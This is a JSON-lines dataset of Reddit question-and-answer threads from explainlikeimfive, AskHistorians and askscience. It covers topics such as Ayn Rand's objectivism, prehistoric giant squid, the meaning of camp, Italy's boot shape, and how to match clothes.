{"q_id": "1agyaz", "title": "objectivism", "selftext": "What is the basis of Ayn Rand's philosophy \"objectivism\"?\n\n\nEdit- what is the difference between her idea of the capitalist ideal and our current capitalist system in America?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1agyaz/eli5_objectivism/", "answers": {"a_id": ["c8xaxn4", "c8xbr8d", "c8xdib0", "c8xdodp"], "score": [3, 5, 13, 5], "text": ["Me. It is all about me. Fuck you.", "Objectivism is a philosophy like Rex Kwon Do is a martial art.\n\nThe basis of Ayn Rand's philosophy is selfishness. Her belief was that people should look out for their own rational self-interest and not sacrifice themselves for others.\n\nRand believed in \"laissez-faire capitalism\", which is essentially a free market with no/limited government interference/regulations. \n\nWhile I have no love for Rand, \"The Virtue of Selfishness\" is a short read that will tell you everything you need to know about objectivism.", "Objectivism was Rand's attempt at a philosophical theory of everything.  It er... didn't work out too well, it tries too hard to dogmatically oppose pretty much any postmodern idea, but to say \"Me. It is all about me. Fuck you\" or \"Objectivism is a philosophy like Rex Kwon Do is a martial art\" is dishonest.\n\nA lot of the philosophical systems developed around the same time were obsessed with the subjectivity of human experiences, that because different people see things differently, truth is difficult to ascertain.  Objectivism says that a an objective reality exists independent of how individuals perceive the world, and that we can trust our senses to perceive the physical world.  Different opinions come from our conclusions being muddled by subjective feelings, and this is where the Objectivist cult-like superiority complex about politics comes from, because Objectivists claim to be uniquely free of delusions.\n\nAs part of its epistemological outlook (epistemology = explaining how individuals and societies learn things), it rejected the conflict between rationalists and empiricists.  Rand believed that empirical observations had to be contextualized and put together by logic.  This wasn't really anything revolutionary though, as the conflict was resolved outside of the fringes of academia and it had been pretty mainstream in philosophy of science for the past two or three decades with the rise of logical empiricism/positivism in the 30s and 40s.\n\nThose philosophical and epistemological outlooks led Rand to the conclusion that the only moral obligations one has is to oneself, and that empathy is one of those delusional feelings that, while not necessarily bad, shouldn't be forced on other people.  That tends to be pretty bad for society, but it's not.  Codified morals *are* socially constructed Big Lies, there are no magically intrinsic moral absolutes, but most other atheist and realist worldviews have come to terms with the fact that they're a necessity for a functioning society when done right, and we do have some ingrained psychological sense of empathy towards our families and communities anyway.\n\nObjectivism also promotes a view of art called romantic realism that places value on the technical skill of the artist and themes that celebrate human accomplishment.  It's one of the places where you can see the tenets of Objectivism breaking down.  If feelings are bad and cloud people's judgement, isn't pride in humanity one of them?  It comes up a lot whenever Rand or other Objectivists talk about the things they do view positively, which they seem to consider innately good despite coming from subjective feelings.\n\nAll in all, Objectivism is a fairly well-reasoned but dogmatically anti-postmodern philosophical system that's metaphysically right or at the very least not evil about a lot of things but wrong about an important few that are needed for maintaining civil society (with a fair amount of hypocrisies, but you'd be hard pressed to find a totally consistent philosophy anyway).  Its problem isn't necessarily dogmatic reliance on what Rand says, as some have suggested, but a lack of sophistication most evident in its unchanging stance that feelings are bad even though it hypocritically champions other feelings like pride in humanity, individual dignity, etc as positive things a priori.", "ELI5: Objectivism? Remain 5. Forever. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3nnh4y", "title": "what is vortex based math?", "selftext": "I don't understand it, but what little I've heard sounds questionable. Is this a legitimate school of math?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nnh4y/eli5_what_is_vortex_based_math/", "answers": {"a_id": ["cvpmitt"], "score": [2], "text": [" >  Marko studied all the world's great religions. He decided to take The Most Great Name of Bahaullah (prophet of the Bahai Faith) \n\nIs this what you're referring to? Keep in mind that math is really just a language, and we can say a variety of things with it. With some minor (or depending on who you ask, major) disagreements about axioms, there aren't really many different schools of thought.\n\nThere are different philosophies of mathematics (are numbers actual things?) and different philosophies of teaching mathematics (do we strike or not strike the student?), but most mathematicians don't engage any ambiguities that would put them into different schools. Hell, even among statisticians where frequentists and Bayesians have been known to claw each other, they're often seen to be saying roughly the same thing.\n\nI suspect what you're referring to is numerology and some weird ways of representing certain operations."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "40fhq3", "title": "how did the clover become a symbol for the irish culture when clovers are everywhere on the planet?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40fhq3/eli5_how_did_the_clover_become_a_symbol_for_the/", "answers": {"a_id": ["cytslfk", "cyudx5w"], "score": [40, 2], "text": ["Saint Patrick, Ireland's patron saint, is said to have used shamrock (a kind of clover) as a metaphor for the Christian Holy Trinity. \n\nAs St. Patrick is Ireland's patron saint, shamrock has been used as a symbol of Ireland since the 18th century, in a similar way to how a rose is used for England, thistle for Scotland and daffodil for Wales.\n\n[source](_URL_0_)", "Saint Patrick used a shamrock to explain the Trinity. Just as the shamrock is one plant with three leaves, so God is one being with three faces. The shamrock was thus associated with Patrick; since he's our patron saint, he came to embody the Irish people, and thus by association the shamrock came to represent Ireland."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Shamrock"], []]}
{"q_id": "4exhg3", "title": "When was the barbell invented?", "selftext": "What is the first recorded use of a barbell as a weight training device?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4exhg3/when_was_the_barbell_invented/", "answers": {"a_id": ["d24niz5"], "score": [10], "text": ["How strict is your definition? Do you mean the modern, fixed and known weight bar and labeled weight plates, or would you accept things like using balls of varying diameter filled with different materials attached to a wooden bar? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1u99fk", "title": "Is there any evidence of squids larger than the \"Colossal Squid\" in pre-historic times? If it did, do we know what these monsters ate? And finally if these creatures did exist, did prehistoric sperm whales eat them?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u99fk/is_there_any_evidence_of_squids_larger_than_the/", "answers": {"a_id": ["cefw2tj"], "score": [2], "text": ["Architeuthis and Mesonychoteuthis, the giant and colossal squid, are enigmatic and awe inspiring animals. Very little is known about the lifestyle of these spectacular animals, despite the examination of numerous corpses of Architeuthis, much of what we know about the animals' behaviour and lifestyle boils down to educated speculation. What is not so well known is that these modern squid were not the first giant squid in the Earths oceans, we have tantalising remains of animals that were at least as large as these modern species that shared the oceans with the ammonites, mosasaurs, giant turtles and plesiosaurs about 80 million years ago during the Late Cretaceous period. Imagine the difficulties of reconstructing these ancient animals when all we have to go on are fragmentary fossilised remains of the pens, or gladius, of these animals! \n\nTo date two species of Niobrarateuthis have been identified, N. bonneri and N. walkeri. N. bonneri was described by H.W. Miller in 1957 on the basis of three specimens found in the late thirties in the Niobrara Chalk at the Smoky Hills, and N. walkeri in 1977 by R.G. Green on the basis of one very badly crushed specimen. Miller regarded Niobrarateuthis distinct from Tusoteuthis longa in that Tusoteuthis had a lance-shaped gladius and lacked a prominent keel. However, it may be misleading to identify these large squid as separate animals; a 1987 paper by Nicholls and Isaak (1987) has suggested that all five teuthid species from the Western Interior Sea can in fact be regarded as one species, Tusoteuthis longa. The differences in morphology noted above could be explained as artifacts of preservation, deformations caused by crushing during the process of fossilization and misinterpretation of dorsal and ventral surfaces. The sole specimen of the gladius of Niobrarateuthis walkeri was considered by Nicholls and Isaak to be so badly broken and crushed that any attempt at reconstruction would be largely hypothetical. This theory has now achieved general acceptance; all recorded examples of Niobrarateuthis, Kansasteuthis and Enchoteuthis are now in fact regarded as one and the same genus, Tusoteuthis longa. The name Tusoteuthis has been adopted as the common name as it was the earliest name used (Logan 1898) and took precedence over the others.\n\nGiant prehistoric squid are also known from other parts of the world. At Richmond, in Queensland, Australia a 100 million year old 1.3 metre gladius was discovered by 14 year old Sonia Ievers, and has been christened Boreopeltis soniae in her honour. This is currently on display at the Richmond Marine Fossil Museum. Students in Queensland located a contemporary second gladius in 1998 that measured over a meter in length and possibly shows evidence of predation by Kronosaurus, a large pliosaur. Smaller related species of Boreopeltis are known from the Mid Cretaceous (Aptian age) Isle of Heligoland black shale deposits, Heligoland is a small island 50 km off the north German coast and has a 1m thick shale deposit that has preserved a number of fossil teuthid forms in exceptional detail, other genera found there include Mastigophora, Plesioteuthis, Maioteuthis and Trachyteuthis. \n\nBasilosaurusis one of the most common of the primitive whales, called \"archaeocetes\" by paleontologists, that have found in exposures of Middle to Upper Eocene, 35 to 40 million year old, marine sediments within central Louisiana. The species of Basilosaurus found in Louisiana, Basilosaurus cetoides (Owen), had a streamlined body that averaged 45 to 70 feet in length. Its body looked more like the body of a mythical sea serpent rather then the body of a modern whale. Basilosaurus had a wedged-shaped head up to 5 feet long with jaws containing two types of teeth. The teeth in the front, anterior, of the jaw had cone-shaped teeth which caught and held its prey while triangular-shaped teeth in the rear, posterior, of the jaw sliced them up. The type and amount of wear on the teeth of the Basilosaurus indicates that it likely ate fish and squid (Johnston 1991 Carpenter and White 1986).\n\nThe bones of Basilosaurus cetoides (Owen) and other primitive whales have been found throughout a belt across Louisiana, Mississippi, and Alabama where exposures of Middle and Upper Eocene marine strata, called the Moodys Branch Formation (or Marl) and the Yazoo Clay occur. The vertebrates were so common within some areas of this belt that local residents used them as andirons for fireplaces and blocks to support cabins. The bones and skeletons of Basilosaurus also have been found in Australia, Egypt, within other marine sediments of Upper Eocene age (Domning 1969, Johnston 1991, Thurmond 1981).\n\nHowever, that doesn't mean that basilosaurus ate the squid. They lived far apart from each other time wise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bmcm8i", "title": "what is camp?", "selftext": "It was the theme of the Met Gala and after research I don\u2019t entirely get it? Is it just ironic/different, a subversion of expectations? What am I missing?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bmcm8i/eli5_what_is_camp/", "answers": {"a_id": ["emvm2pr", "emvxu1u", "emw0r4h", "emwga3t"], "score": [31, 2, 2, 3], "text": ["Camp is the idea that if you take some piece of art to the extreme, making it extra lively, theatrical, and exaggerated, right up past the point where it can't be taken seriously, then it becomes funny and appealing in a weird, ironic sort of way.  Think of musicians like Liberace or Elton John - very talented performers who performed onstage in incredibly elaborate costumes.  Their costumes were always too bright and bold to be considered daring fashion choices (like many pop stars would choose) - they were worn because they were silly, and that silliness was a part of their persona.\n\nOr the classic example of campy television - the Batman show that aired in the '60's.  Batman stories were considered too gritty for television, so the show was exaggerated until it became a weird sort of action-comedy.  The fights were filled with crazy music, sound effects, and animated \"BLAM!\"s, the heroes spouted silly puns and catchphrases while they investigated *actual freaking murders*, the villains were mostly incompetent and bumbling, and Batman's trademark utility belt was stuffed with hilarious gizmos for every situation like \"Bat-Shark-Repellant.\"  If you look at it simply as a Batman story, you'd say it was terribly written with the wrong tone.  But if you look at it as a wacky, campy comedy, it hit the nail on the head and became incredibly popular - even affecting the tone of Batman comics for decades.", "The best way i explained it is if every celebrity there dressed like they lived in the Capitol from hunger games, everyone would\u2019ve been on theme. Like so outrageous, gaudy, and very possibly tacky that on any day you\u2019d laugh at it but when it\u2019s on theme, it\u2019s art and fashion mixed together.", "A lot of drag queens use camp in their art. Look up queens like Kim Chi, Milk, Divine...honestly I won\u2019t name them all but just google campy drag queens and you\u2019ll see a ton of examples.", "It's not really a subversion of expectations.  It's more like fulfilling expectations to an extreme or exaggerated extent.  Camp is what happens when you make something that is deliberately silly in an ironic way.  \n\nThe Batman example has already been mentioned, because it is pretty much the textbook definition of 'Camp.'  It wasn't that the producers were incompetent or inept.  They were making it *deliberately* look inept for the point of comedy.  Another good example is Austin Powers. The first Austin Powers was not a low-budget movie with bad sets and silly costumes.  It was *deliberately imitating* the look of early James Bond movie with bad sets and silly costumes.\n\nLet's compare the 60's Batman to the more recent Chris Nolan Batman:\n\n* 60's Batman wore grey - and - blue spandex - Camp.\n   * Nolan's Batman wore futuristic military armor with bulletproof plates - Not Camp.\n* 60's Batman had a belt full of silly gadgets - Camp\n   * Nolan's Batman used ninja weapons and designed his gadgets to be practical - Not camp.\n* 60's Joker was silly and buffoonish - Camp.\n   * Nolan's Joker was goddamned terrifying - Not Camp.\n\nI could go on, but I think you get it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5hstgo", "title": "Why when you hold something very close to your eye, does it have a kind of aura around it?", "selftext": "When I hold my finger or phone right up to my eye, it has a blurry aura around it. \n\nWhat is it? Is it something to do with the human eye or the particles in the object?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5hstgo/why_when_you_hold_something_very_close_to_your/", "answers": {"a_id": ["db3a43l"], "score": [6], "text": ["If I'm not mistaken it's quite literally that the blur creates a gradient of incoming light.  So, let's say you get a photon coming in from your finger.  It hits your lens but you don't have it focused, so it lands in your eye a little away from where the rest of your finger is.  Now there is a maximum error distance based on how blurry it is.  So eventually your finger isn't blocking other parts of what you see.  I guess essentially blurry things are just having their incoming photons spread over an area instead of a specific place creating the gradient you see."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4lfi6k", "title": "About Aristophanes's The Birds...", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4lfi6k/about_aristophaness_the_birds/", "answers": {"a_id": ["d3mxb26"], "score": [2], "text": ["Hello there. Unfortunately we have had to remove your question as it looks like it may be a homework question. A couple of things to keep in mind about this: [Our rules](_URL_1_) DO permit people to ask for help with their homework, so long as they are seeking clarification or resources, rather than the answer itself. Also: Sometimes flairs can be reluctant to answer a question that looks like homework, because they don't want to be involved in plagiarism (and sadly, yes, there are those who plagiarize reddit comments). \n\nBut, that all said, many of our users do enjoy helping out with suggestions for resources and further reading. Can you tell us what you've researched so far, what resources you've consulted, and what you've learned? If that doesn't work, you can also consider asking the helpful people at /r/HomeworkHelp. If you edit your post to be in compliance with our requirements for homework related questions, which are explored in more detail in this [META Thread](_URL_0_), we would be happy to restore it.\n\nAdditionally, we would highly suggest that you check out our six part series on '[Finding and Understanding Sources](_URL_2_)', which might prove to be useful in your research."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/35pkem/askhistorians_homework_question_policy_rehash/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_homework", "https://www.reddit.com/r/AskHistorians/wiki/theory#wiki_monday_methods.3A_finding_and_understanding_sources"]]}
{"q_id": "9dadld", "title": "after a c-section, how does the mother's body react to the sudden absence of a baby to push out? does the labor continue somehow?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9dadld/eli5_after_a_csection_how_does_the_mothers_body/", "answers": {"a_id": ["e5gdoy5", "e5gf20b", "e5gfjsl"], "score": [31, 6, 3], "text": ["Once the placenta and baby are out, the body gets the message. Labor stops and the body usually (depending on the lady) starts producing milk ", "The placenta is what stimulates the hormone production leading to labor, so other than delayed milk release (usually happens within 5/6 days after baby, takes a bit longer after a C section) the absence of the placenta is what allows the body to \"remember\" it's not pregnant anymore and to begin trying to regulate hormone production again. I have heard that the healing process (not just the scar tissue, actual wound, etc) but the internal process of pulling the uterus back in and toning it as well as bringing the diastasis recti back together can take much longer than a vaginal birth simply because a) your abdomen was sliced open and your body has more to focus on healing, and b) the progesterone \"drop\" that happens right after the baby is pushed out and right before the placenta is pushed out causes you to have after birth pains (contractions) to tighten the uterus and pull it back into position. I have not had a C section, so I can't say if that's true or not, but a neat thing to research. ", "As other commenter said, the body knows once the placenta has been delivered. Also the mother is often given an oxytocin analogue injection (she would release her own with skin-to-skin contact with the baby), which triggers the uterus to contract and close down. This is important to limit blood loss after the placenta has separated from the uterus, and the uterus can only really clamp down when it is TOTALLY empty - which is why the delivered placenta has to be carefully checked over to ensure it is all there and none remains in the uterus. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "329xyz", "title": "What is the oldest reference to the shape of the Italian peninsula resembling a boot?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/329xyz/what_is_the_oldest_reference_to_the_shape_of_the/", "answers": {"a_id": ["cq9f0vi", "cq9hybv", "cq9xxqm", "cqa0idq"], "score": [716, 109, 5, 3], "text": ["The earliest mention I was able to find was in [\"**THESAURUS GEOGRAPHICUS. A NEW Body of Geography: Or, A Compleat DESCRIPTION OF THE EARTH:**\"](_URL_0_) dated 1695.\n\nThe passage reads:\n\n > \"The Figure or Shape of this Country is very Remarkable, and may be well compar'd to that of a Man's Leg, the End whereof seems as it were to kick the Island of *Siciliy* into the Sea ; the Toes appear toward the *Faro*, or Watch-Tower of *Messina*, round *Reggio*, and the Cape of *Spartivento* ; the Heel toward *Ancona* ; the Ham about *Ravenna*; the Knee toward *Piembino*, and the Port of *Leghorn* ; and the Thigh toward the *Alps*.\n\n > *Italy* is stretched forth toward the South, as it were a Peninsule, in form of a Boot, into the *Mediterranean-Sea*...\"", "I believe that Italy was not compared to a boot until boots began to look like Italy. What I mean is footwear in the ancient world like the caligae did not typically have such prominent heels, so this shape would not remind anyone of a boot. Pliny in Natural History (III, Of Italy) instead compares the shape of Italy to an oak leaf:\n\n >  I may premise by observing that this land very much resembles in shape an oak leaf, being much longer than it is broad\u2026\n", "(There was a fascinating comment that noted that the [world's oldest known map is of Italy](_URL_0_).  The comment disappeared, but this was my question related to it if anyone has any insight on this.)\n\nIt's fascinating that the oldest known map is only from 500 BC.  I would have thought there would be many examples of much older maps, even if they were only of a small local area (depicting some rivers or major landmarks like mountains perhaps).  \n\nWhy wouldn't there be numerous examples of much older maps?  Why didn't cavemen sometimes sketch maps of their village and nearby important locations?  It seems like such a naturally human thing to do, but perhaps not.", "You already have very good answers to your precise question, but I'd like to mention that for someone to refer to the Italian peninsula as a boot, you need two things :\n\n1. An accurate enough map that shows the peninsula the way we know it today;\n2. A civilization that has boots shaped like that.\n\nYou could probably find dates and regions for both premises needed and start looking for boot shaped Italy in documents of that era.\n\nI'm no expert in either, but I know maps weren't really accurate before the 13th or 14th century (when the [Portolan chart](_URL_0_) started to emerge) and it only improved slowly from there until maybe the 16th or 17th century before we had maps close to what we know today (in terms of precision). For the boots, it seems to vary a lot by region and era, as others mentioned already in this thread."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=RVFdNM38mqYC&pg=PA238&dq=italy+boot&hl=en&sa=X&ei=f9EpVZSJNemUsQTP8oGwBA&ved=0CDUQ6AEwATgK#v=onepage&q=italy%20boot&f=false"], [], ["http://www.telegraph.co.uk/news/worldnews/europe/italy/1503336/Archaeologists-find-western-worlds-oldest-map.html"], ["http://en.wikipedia.org/wiki/Portolan_chart"]]}
{"q_id": "1ln7ya", "title": "how do mulching lawnmowers work?", "selftext": "I would like to understand how this works. My entry level John Deere mower has the side discharge and each time I mow the grass I end up with a huge amount of grass clippings all over the yard. I've tried to mow from outside in but after just a few times around there is just too much grass and it begins to bog down. Could someone please explain to me how the \"mulching\" mowers accomplish this task of not leaving ugly piles of grass clippings all over the yard without bogging the mower down?\n\nThank you!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ln7ya/eli5how_do_mulching_lawnmowers_work/", "answers": {"a_id": ["cc0vovp"], "score": [5], "text": ["There's a couple things mulching mowers can do differently.  Sometimes they'll have two blades underneath.  That means the grass gets cut up into smaller pieces and is less likely to clump.  Some more advanced mulchers also have a system that allows you to bag and mulch at the same time so that you're only mulching part of the grass.\n\nIn general though there's nothing much difference from an entry level mulching mower and an entry level side discharge mower.  A side discharge will cause clumping a little bit more simply because it's funneling all the grassing clippings into a little chute, thus grouping them together, but you can still mulch your lawn (minus the last pass) with a side discharge.\n\nBest tips for not having clumps:\n\n1. Cut your grass more often.  The taller the grass the more likely it is to clump\n2. Cut your grass when it's dry.  Wet grass clumps a lot more than dry grass\n3. If you're still clumping, don't cut a full swath on each pass.  Cut only 1/2 your lawnmower width on each pass.  It'll take more time, but that's the cost of no clumps\n4. If that fails, buy a more powerful/mulching mower."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "d2q2am", "title": "In post-protestant Reformation Europe, how were people able to tell who was Catholic and who was Protestant?", "selftext": "In the centuries of religious persecutions following the Protestant Reformation, how was one denomination identified from another. How were the Catholics looking for Protestants and vice versa? And then the various Protestants who persecuted each other.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/d2q2am/in_postprotestant_reformation_europe_how_were/", "answers": {"a_id": ["ezxigxk"], "score": [7], "text": ["Point of clarity before going ahead: I'm using the term \"heretic\" here to describe any person of any denomination that faced judicial proceedings for not conforming to the confession of a particular area. A Catholic in England or a Protestant in Spain both fall in this category, as would an Anabaptist anywhere in Europe besides the Ottoman Empire. \n\nAside from the clergy, it's not as if Catholics, Lutherans or Reformed Protestants dressed entirely differently or had other external signs showing their confessional affiliation. Occasionally there would be some sort of dress regulation within a community, but these were generally enforced at the local level. So for example, a Calvinist consistory or town council in the Protestant Netherlands or Languedoc might have certain regulations about dress or behavior, but these would apply to any covert Catholics that happened to be within the community as well.\n\nFinding crypto-heretics then took some work. The Inquisitions are generally the most well-known searchers of infidelity, but they generally didn't go door-to-door seeking signs of heresy. An Inquisition court (or consistory or town council in Protestant lands) more often than not had people reporting suspicious activity. If someone stopped attending mass, or started baptizing other adults, or began preaching in the pubic square (like Ignatius of Loyola did to garner the attention of the Inquisition), that was generally a good sign that you had a heretic in your midst. Snitching was certainly something that people did, and accounts in Inquisition court records often relied on reputation as much as an observed action in dealing with potential heretics. On the other hand though, by the late sixteenth and early seventeenth century, local parishioners were more interested in sussing out witches than covert Protestants or Catholics. \n\nIf surveillance failed, the main way to figure out someone's denomination was to ask them. Yes, they could lie, and many people did lie. Lutheran, Reformed, Anabaptist and Catholic moral theologians all wrote vehemently against the \"demonic temptation of apostasy,\" but there were qualifications made, especially in the latter half of the sixteenth century, to support individual cases of what was called [Nicodemism](_URL_0_). Lying aside, simply asking was a far more effective way of investigating heresy than one might think. More often than not, heretical thinking was just the result of misguided notions. Inquisitions generally sought to find out where the suspect had fallen into error and correct them, with punishment only coming later. For those that understood full well that they were committing heresy, many of them were okay with facing the penalty. The Reformation saw the resurgence of martyrdom as a transconfessional discourse. People were proud, sometimes even delighted at the idea that they would be killed for the promotion of their faith. Showing steadfast loyalty to the gospel truth (however one defined it) in the face of certain death and torture was an admirable trait, and one that would be rewarded in the afterlife. \n\nGenerally (and I have used that word a lot in this because nothing is the same everywhere) the people that were persecuted for heresy were publishing, preaching or openly speaking against the dominant confession of their area (and often against the local or royal authority therein). There are cases of clandestine heretics, such as Jesuits in England, being \"discovered\" and rooted out, but generally heresy was a public outburst rather than private wrongthink. \n\nN.B: This is not a universal opinion. Some historians would point to the many pogroms or outbreaks of mob violence against suspected heretic groups as evidence against what I have just said. I am merely talking about heresy as a crime being punished in a normally operating government system. \"Suspicious\" persons (whether due to race, nationality or confession) within a community are consistently treated violently throughout history. \n\nSources:\n\nI think a book that gets at the heart of your question is Perez Zagorin's *Ways of Lying,* even if it is not directly about surveilling dogma. One that is a bit more on point for that would be John Tedeschi's *The Inquisition in Early Modern Europe,* but it is a bit of a more difficult read. Brad Gregory's *Salvation at Stake* is indispensable in talking about martyrdom in the Reformation. And of course, no reading list about heresy in early modern Europe would be complete without mentioning Carlo Ginzburg's *The Cheese and the Worms.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Nicodemite"]]}
{"q_id": "nqthm", "title": "i've always had trouble judging whether clothes match or not. can i get an explanation in a few simple tips?", "selftext": "More specifically what color shirts and shoes are appropriate with dark or light khakis. -Thanks", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/nqthm/ive_always_had_trouble_judging_whether_clothes/", "answers": {"a_id": ["c3b7s45", "c3b7um4", "c3b8agb", "c3bar7d", "c3bb1qk", "c3b7s45", "c3b7um4", "c3b8agb", "c3bar7d", "c3bb1qk"], "score": [5, 12, 23, 4, 2, 5, 12, 23, 4, 2], "text": ["Black shoes, in my opinion, are generally too formal-looking to pair well with khakis, so I would say brown shoes are the way to go. In general, the darker the pants, the more formal (not always true, but a good place to start). As for socks (though you didn't ask), a common misconception is that they should match the shoes, but it is generally agreed that they should match the pants. Shirts, in my opinion, should provide contrast to the pants. That being said, it would be rather difficult to find shirts that don't match khakis. Also, your belt should (in general) always match your shoes (in hue and saturation). In summary:\n\n* Black shoes are more formal; brown is less formal and more appropriate for younger men\n* Socks match pants, not shoes\n* Go for shirts that provide contrast to your pants\n* Belt should match shoes\n", "More important than \"matching\" is \"do these go?\"  If you have trouble with fashion (which you're saying you do), then the best thing to do is keep everything simple. \n\nBasic guide: \n\n**Denim goes with just about everything.** Light washes are informal (and often tacky), but dark washes that fit you well can get you by in just about any situation short of a very formal event. Avoid anything distressed or with funky washes on it, and go for something that fits you perfectly. No high waist, no slouching crotch. \n\n**Match your belt to your shoes.** This isn't a hard and fast rule by any means but if you're clueless it's a good one to follow. \n\n**Beige is no one's friend.** Ditch the khakis you mentioned in your post; they're dated, almost never flattering, and don't really go with anything. Plus, they show stains and wear. Replace them with a pair of the aforementioned dark wash jeans, and some black and grey trousers for situations where denim isn't going to cut it. Keep your bottoms simple, and you can match them to just about any top. \n\n**Keep colours under control.** This one pretty much speaks for itself. Bold colours and patterns are best left to people with the fashion sense to pull them off. Stick to colours that flatter you (if you don't know what does, [this website](_URL_0_) can help you out. It's talking about makeup, but the exact same rules apply to clothing. Just match your skin, hair and eyes to one of the seasons, and voila).\n\n**Money talks, bullshit walks.** Instead of owning a tonne of clothes, consider spending the same amount of money on fewer items. Quality over quantity. ", "Wow, I can't believe that /r/malefashionadvice isn't suggested.. So OP, go over there and read the sidebar!!! You'll learn more than what you came for. ", "The more I learn about design, the more parallels I make:\n\nSingle point of focus. Use a limited set of colors or patterns. I usually pick a plain, neutral cloth and another with patterns and brighter colors.\n\nConsistency. Brown shoes, black belt and red tie? Match the accessories to follow the same style.\n\nMessage. The style is a message in itself. Look at people around you. Their clothers say a lot about them. Dressing sharply is a must if you meet someone for the first, second and every other time.", "If you have two differently patterned fabrics, keep them in the same tone of color. If you have two differently colored fabrics, keep them in the same pattern.", "Black shoes, in my opinion, are generally too formal-looking to pair well with khakis, so I would say brown shoes are the way to go. In general, the darker the pants, the more formal (not always true, but a good place to start). As for socks (though you didn't ask), a common misconception is that they should match the shoes, but it is generally agreed that they should match the pants. Shirts, in my opinion, should provide contrast to the pants. That being said, it would be rather difficult to find shirts that don't match khakis. Also, your belt should (in general) always match your shoes (in hue and saturation). In summary:\n\n* Black shoes are more formal; brown is less formal and more appropriate for younger men\n* Socks match pants, not shoes\n* Go for shirts that provide contrast to your pants\n* Belt should match shoes\n", "More important than \"matching\" is \"do these go?\"  If you have trouble with fashion (which you're saying you do), then the best thing to do is keep everything simple. \n\nBasic guide: \n\n**Denim goes with just about everything.** Light washes are informal (and often tacky), but dark washes that fit you well can get you by in just about any situation short of a very formal event. Avoid anything distressed or with funky washes on it, and go for something that fits you perfectly. No high waist, no slouching crotch. \n\n**Match your belt to your shoes.** This isn't a hard and fast rule by any means but if you're clueless it's a good one to follow. \n\n**Beige is no one's friend.** Ditch the khakis you mentioned in your post; they're dated, almost never flattering, and don't really go with anything. Plus, they show stains and wear. Replace them with a pair of the aforementioned dark wash jeans, and some black and grey trousers for situations where denim isn't going to cut it. Keep your bottoms simple, and you can match them to just about any top. \n\n**Keep colours under control.** This one pretty much speaks for itself. Bold colours and patterns are best left to people with the fashion sense to pull them off. Stick to colours that flatter you (if you don't know what does, [this website](_URL_0_) can help you out. It's talking about makeup, but the exact same rules apply to clothing. Just match your skin, hair and eyes to one of the seasons, and voila).\n\n**Money talks, bullshit walks.** Instead of owning a tonne of clothes, consider spending the same amount of money on fewer items. Quality over quantity. ", "Wow, I can't believe that /r/malefashionadvice isn't suggested.. So OP, go over there and read the sidebar!!! You'll learn more than what you came for. ", "The more I learn about design, the more parallels I make:\n\nSingle point of focus. Use a limited set of colors or patterns. I usually pick a plain, neutral cloth and another with patterns and brighter colors.\n\nConsistency. Brown shoes, black belt and red tie? Match the accessories to follow the same style.\n\nMessage. The style is a message in itself. Look at people around you. Their clothers say a lot about them. Dressing sharply is a must if you meet someone for the first, second and every other time.", "If you have two differently patterned fabrics, keep them in the same tone of color. If you have two differently colored fabrics, keep them in the same pattern."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://beauty.lovelyish.com/731050187/finding-flattering-colors-for-your-skin-tone-its-a-science/"], [], [], [], [], ["http://beauty.lovelyish.com/731050187/finding-flattering-colors-for-your-skin-tone-its-a-science/"], [], [], []]}
